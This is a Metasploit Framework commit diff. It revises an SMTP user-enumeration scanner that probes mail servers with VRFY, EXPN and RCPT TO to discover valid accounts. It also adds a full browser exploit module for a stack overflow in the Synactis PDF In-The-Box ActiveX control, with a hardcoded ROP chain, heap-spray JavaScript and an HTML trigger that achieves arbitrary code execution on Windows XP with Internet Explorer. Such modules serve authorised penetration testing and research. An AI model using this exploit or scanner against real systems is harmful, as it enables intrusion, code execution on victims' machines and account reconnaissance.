bug/bundler_fix
jvazquez-r7 2013-06-07 13:01:37 -05:00
commit 9c27a294cb
2 changed files with 335 additions and 139 deletions

View File

@ -33,7 +33,8 @@ class Metasploit3 < Msf::Auxiliary
'Author' => 'Author' =>
[ [
'==[ Alligator Security Team ]==', '==[ Alligator Security Team ]==',
'Heyder Andrade <heyder[at]alligatorteam.org>' 'Heyder Andrade <heyder[at]alligatorteam.org>',
'nebulus'
], ],
'License' => MSF_LICENSE 'License' => MSF_LICENSE
) )
@ -45,184 +46,173 @@ class Metasploit3 < Msf::Auxiliary
[ [
true, 'The file that contains a list of probable users accounts.', true, 'The file that contains a list of probable users accounts.',
File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_users.txt') File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_users.txt')
] ]),
)], self.class) OptBool.new('UNIXONLY', [ true, 'Skip Microsoft bannered servers when testing unix users', true])
], self.class)
deregister_options('MAILTO','MAILFROM') deregister_options('MAILTO','MAILFROM')
end end
def target def smtp_send(data=nil)
"#{rhost}:#{rport}"
end
def smtp_send(data=nil, con=true)
begin begin
@result='' result=''
@coderesult='' code=0
if (con)
@connected=false
connect
select(nil,nil,nil,0.4)
end
@connected=true
sock.put("#{data}") sock.put("#{data}")
@result=sock.get_once result=sock.get_once
@coderesult=@result[0..2] if @result result.chomp! if(result)
code = result[0..2].to_i if result
return result, code
rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError
return result, code
rescue ::Exception => e rescue ::Exception => e
print_error("Error: #{e}") print_error("#{rhost}:#{rport} Error smtp_send: '#{e.class}' '#{e}'")
raise e return nil, 0
end end
end end
def run_host(ip) def run_host(ip)
@users_found = {} users_found = {}
@mails_found = {} result = nil # temp for storing result of SMTP request
code = 0 # status code parsed from result
vrfy = true # if vrfy allowed
expn = true # if expn allowed
rcpt = true # if rcpt allowed and useful
usernames = extract_words(datastore['USER_FILE'])
cmd = 'HELO' + " " + "localhost" + "\r\n" cmd = 'HELO' + " " + "localhost" + "\r\n"
smtp_send(cmd,true) connect
print_status(banner) result, code = smtp_send(cmd)
@domain = @result.split()[1].split(".")[1..-1].join(".")
print_status("Domain Name: #{@domain}")
begin if(not result)
cmd = 'VRFY' + " " + "root" + "\r\n" print_error("#{rhost}:#{rport} Connection but no data...skipping")
smtp_send(cmd,!@connected) return
if (@result.match(%r{Cannot})) or (@result.match(%r{recognized})) end
vprint_status("VRFY command disabled") banner.chomp! if (banner)
elsif (@result.match(%r{restricted})) if(banner =~ /microsoft/i and datastore['UNIXONLY'])
vprint_status("VRFY command restricted") print_status("#{rhost}:#{rport} Skipping microsoft (#{banner})")
return
elsif(banner)
print_status("#{rhost}:#{rport} Banner: #{banner}")
end
domain = result.split()[1]
domain = 'localhost' if(domain == '' or not domain or domain.downcase == 'hello')
vprint_status("#{ip}:#{rport} Domain Name: #{domain}")
result, code = smtp_send("VRFY root\r\n")
vrfy = (code == 250)
users_found = do_enum('VRFY', usernames) if (vrfy)
if(users_found.empty?)
# VRFY failed, lets try EXPN
result, code = smtp_send("EXPN root\r\n")
expn = (code == 250)
users_found = do_enum('EXPN', usernames) if(expn)
end
if(users_found.empty?)
# EXPN/VRFY failed, drop back to RCPT TO
result, code = smtp_send("MAIL FROM: root\@#{domain}\r\n")
if(code == 250)
user = Rex::Text.rand_text_alpha(8)
result, code = smtp_send("RCPT TO: #{user}\@#{domain}\r\n")
if(code >= 250 and code <= 259)
vprint_status("#{rhost}:#{rport} RCPT TO: Allowed for random user (#{user})...not reliable? #{code} '#{result}'")
rcpt = false
else
smtp_send("RSET\r\n")
users_found = do_rcpt_enum(domain, usernames)
end
else else
vprint_status("VRFY command enabled") rcpt = false
vrfy_ok=true
end end
end end
begin if(not vrfy and not expn and not rcpt)
if (vrfy_ok) print_status("#{rhost}:#{rport} could not be enumerated (no EXPN, no VRFY, invalid RCPT)")
extract_words(datastore['USER_FILE']).each {|user| return
do_vrfy_enum(user)
}
else
do_mail_from()
extract_words(datastore['USER_FILE']).each {|user|
return finish_host() if ((do_rcpt_enum(user)) == :abort)
}
end
if(@users_found.empty?)
print_status("#{target} No users or e-mail addresses found.")
else
vprint_status("#{target} - SMTP - Trying to get valid e-mail addresses")
@users_found.keys.each {|mails|
return finish_host() if((do_get_mails(mails)) == :abort)
}
finish_host()
disconnect
end
end end
finish_host(users_found)
disconnect
rescue Rex::ConnectionError, Errno::ECONNRESET, Rex::ConnectionTimeout, EOFError, Errno::ENOPROTOOPT
rescue ::Exception => e
print_error("Error: #{rhost}:#{rport} '#{e.class}' '#{e}'")
end end
def finish_host() def finish_host(users_found)
if @users_found && !@users_found.empty? if users_found and not users_found.empty?
print_good("#{target} Users found: #{@users_found.keys.sort.join(", ")}") print_good("#{rhost}:#{rport} Users found: #{users_found.sort.join(", ")}")
report_note( report_note(
:host => rhost, :host => rhost,
:port => rport, :port => rport,
:type => 'smtp.users', :type => 'smtp.users',
:data => {:users => @users_found.keys.join(", ")} :data => {:users => users_found.join(", ")}
)
end
if(@mails_found.nil? or @mails_found.empty?)
print_status("#{target} No e-mail addresses found.")
else
print_good("#{target} E-mail addresses found: #{@mails_found.keys.sort.join(", ")}")
report_note(
:host => rhost,
:port => rport,
:type => 'smtp.mails',
:data => {:mails => @mails_found.keys.join(", ")}
) )
end end
end end
def do_vrfy_enum(user) def kiss_and_make_up(cmd)
cmd = 'VRFY' + " " + user + "\r\n" vprint_status("#{rhost}:#{rport} SMTP server annoyed...reconnecting and saying HELO again...")
smtp_send(cmd,!@connected) disconnect
vprint_status("#{target} - SMTP - Trying name: '#{user}'") connect
case @coderesult.to_i smtp_send("HELO localhost\r\n")
when (250..259) result, code = smtp_send("#{cmd}")
print_good "#{target} - Found user: #{user}" result.chomp!
@users_found[user] = :reported cmd.chomp!
mail = @result.scan(%r{\<(.*)(@)(.*)\>}) vprint_status("#{rhost}:#{rport} - SMTP - Re-trying #{cmd} received #{code} '#{result}'")
unless (mail.nil? || mail.empty?) return result,code
@mails_found[mail.to_s] = :reported
end
end
end end
def do_mail_from() def do_enum(cmd, usernames)
vprint_status("Trying to use to RCPT TO command")
cmd = 'MAIL FROM:' + " root@" + @domain + "\r\n" users = []
smtp_send(cmd,!@connected) usernames.each {|user|
if (@coderesult == '501') && @domain.split(".").count > 2 next if user.downcase == 'root'
print_error "#{target} - MX domain failure for #{@domain}, trying #{@domain.split(/\./).slice(-2,2).join(".")}" result, code = smtp_send("#{cmd} #{user}\r\n")
cmd = 'MAIL FROM:' + " root@" + @domain.split(/\./).slice(-2,2).join(".") + "\r\n" vprint_status("#{rhost}:#{rport} - SMTP - Trying #{cmd} #{user} received #{code} '#{result}'")
smtp_send(cmd,!@connected) result, code = kiss_and_make_up("#{cmd} #{user}\r\n") if(code == 0 and result.to_s == '')
if (@coderesult == '501') if(code == 250)
print_error "#{target} - MX domain failure for #{@domain.split(/\./).slice(-2,2).join(".")}" vprint_status("#{rhost}:#{rport} - Found user: #{user}")
return :abort users.push(user)
end end
elsif (@coderesult == '501') }
print_error "#{target} - MX domain failure for #{@domain}" return users
return :abort
end
end end
def do_rcpt_enum(user) def do_rcpt_enum(domain, usernames)
cmd = 'RCPT TO:' + " " + user + "\r\n" users = []
smtp_send(cmd,!@connected) usernames.each {|user|
vprint_status("#{target} - SMTP - Trying name: '#{user}'") next if user.downcase == 'root'
case @coderesult.to_i vprint_status("#{rhost}:#{rport} - SMTP - Trying MAIL FROM: root\@#{domain} / RCPT TO: #{user}...")
# 550 is User unknown, which obviously isn't fatal when trying to result, code = smtp_send("MAIL FROM: root\@#{domain}\r\n")
# enumerate users, so only abort on other 500-series errors. See #4031 result, code = kiss_and_make_up("MAIL FROM: root\@#{domain}\r\n") if(code == 0 and result.to_s == '')
when (500..549), (551..599)
print_error "#{target} : #{@result.strip if @result} "
print_error "#{target} : Enumeration not possible"
return :abort
when (250..259)
print_good "#{target} - Found user: #{user}"
@users_found[user] = :reported
mail = @result.scan(%r{\<(.*)(@)(.*)\>})
unless (mail.nil? || mail.empty?)
@mails_found[mail.to_s] = :reported
end
end
end
def do_get_mails(user) if(code == 250)
cmd = 'EXPN' + " " + user + "\r\n" result, code = smtp_send("RCPT TO: #{user}\@#{domain}\r\n")
smtp_send(cmd,!@connected) if(code == 0 and result.to_s == '')
if (@coderesult == '502') kiss_and_make_up("MAIL FROM: root\@#{domain}\r\n")
print_error "#{target} - EXPN : #{@result.strip if @result}" result, code = smtp_send("RCPT TO: #{user}\@#{domain}\r\n")
return :abort
else
unless (@result.nil? || @result.empty?)
mail = @result.scan(%r{\<(.*)(@)(.*)\>})
unless (mail.nil? || mail.empty?)
print_good "#{target} - Mail Found: #{mail}"
@mails_found[mail.to_s] = :reported
end end
if(code == 250)
vprint_status("#{rhost}:#{rport} - Found user: #{user}")
users.push(user)
end
else
vprint_status("#{rhost}:#{rport} MAIL FROM: #{user} NOT allowed during brute...aborting ( '#{code}' '#{result}')")
break
end end
end smtp_send("RSET\r\n")
}
return users
end end
def extract_words(wordfile) def extract_words(wordfile)
return [] unless wordfile && File.readable?(wordfile) return [] unless wordfile && File.readable?(wordfile)
begin words = File.open(wordfile, "rb") {|f| f.read}
words = File.open(wordfile, "rb") {|f| f.read}
rescue
return
end
save_array = words.split(/\r?\n/) save_array = words.split(/\r?\n/)
return save_array return save_array
end end

View File

@ -0,0 +1,206 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "7.0",
:ua_maxver => "8.0",
:javascript => true,
:classid => "{C80CAF1F-C58E-11D5-A093-006097ED77E6}",
:method => "ConnectToSynactis",
:os_name => OperatingSystems::WINDOWS,
:rank => AverageRanking
})
def initialize(info={})
super(update_info(info,
'Name' => "Synactis PDF In-The-Box ConnectToSynactic Stack Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability found in Synactis' PDF In-The-Box ActiveX
component, specifically PDF_IN_1.ocx. When a long string of data is given
to the ConnectToSynactis function, which is meant to be used for the ldCmdLine
argument of a WinExec call, a strcpy routine can end up overwriting a TRegistry
class pointer saved on the stack, and results in arbitrary code execution under the
context of the user.
Also note that since the WinExec function is used to call the default browser,
you must be aware that: 1) The default must be Internet Explorer, and 2) When the
exploit runs, another browser will pop up.
Synactis PDF In-The-Box is also used by other software such as Logic Print 2013,
which is how the vulnerability was found and publicly disclosed.
},
'License' => MSF_LICENSE,
'Author' =>
[
'h1ch4m',
'sinn3r' #Metasploit
],
'References' =>
[
[ 'OSVDB', '93754' ],
[ 'EDB', '25835' ]
],
'Platform' => 'win',
'Targets' =>
[
# Newer setups like Win + IE8: "Object doesn't support this property or method"
[ 'Automatic', {} ],
[
'IE 7 on Windows XP SP3', {'Eax' => 0x0c0c0c0c}
],
[
# 0x20302020 = Where the heap spray will land
# 0x77c15ed5 = xchg eax,esp; rcr dword ptr [esi-75], 0c1h, pop ebp; ret 4
'IE 8 on Windows XP SP3',
{ 'Rop' => :msvcrt, 'Pivot' => 0x77C218D3, 'Ecx' => 0x20302024, 'Eax' => 0x20302028 }
]
],
'Payload' =>
{
'BadChars' => "\x00",
'StackAdjustment' => -3500
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Privileged' => false,
'DisclosureDate' => "May 30 2013",
'DefaultTarget' => 0))
end
def get_target(agent)
return target if target.name != 'Automatic'
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
ie_name = "IE #{ie}"
case nt
when '5.1'
os_name = 'Windows XP SP3'
end
targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
return t
end
end
return nil
end
def get_payload(t, cli)
code = payload.encoded
case t['Rop']
when :msvcrt
print_status("Using msvcrt ROP")
align = "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
# Must be null-byte-free for the spray
chain =
[
t['Pivot'],
0x41414141,
t['Ecx'], # To ECX
0x77c1e844, # POP EBP # RETN [msvcrt.dll]
0x41414141,
0x77c1e844, # skip 4 bytes [msvcrt.dll]
0x77c4fa1c, # POP EBX # RETN [msvcrt.dll]
0xffffffff,
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
0x77c4e0da, # POP EAX # RETN [msvcrt.dll]
0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
0x77c3048a, # POP EDI # RETN [msvcrt.dll]
0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
0x77c46efb, # POP ESI # RETN [msvcrt.dll]
0x77c2aacc, # JMP [EAX] [msvcrt.dll]
0x77c3b860, # POP EAX # RETN [msvcrt.dll]
0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll]
].pack("V*")
p = chain + align + code
else
p = "\x0c" * 50 + code
end
p
end
def get_html(cli, req, target)
js_p = ::Rex::Text.to_unescape(get_payload(target, cli), ::Rex::Arch.endian(target.arch))
eax = "\\x" + [target['Eax']].pack("V*").unpack("H*")[0].scan(/../) * "\\x"
html = %Q|
<html>
<head>
<script>
#{js_property_spray}
function r()
{
var s = unescape("#{js_p}");
sprayHeap({shellcode:s});
var p1 = '';
var p2 = '';
eax = "#{eax}";
while (p1.length < 189) p1 += "\\x0c";
while (p2.length < 7000) p2 += "\\x0c";
var obj = document.getElementById("obj");
obj.ConnectToSynactis(p1+eax+p2);
}
</script>
</head>
<body OnLoad="r();">
<OBJECT classid="clsid:C80CAF1F-C58E-11D5-A093-006097ED77E6" id="obj"></OBJECT>
</body>
</html>
|
html.gsub(/^\t\t/, '')
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")
target = get_target(agent)
if target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end
print_status("Target selected as: #{target.name}")
send_response(cli, get_html(cli, request, target), {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
end
end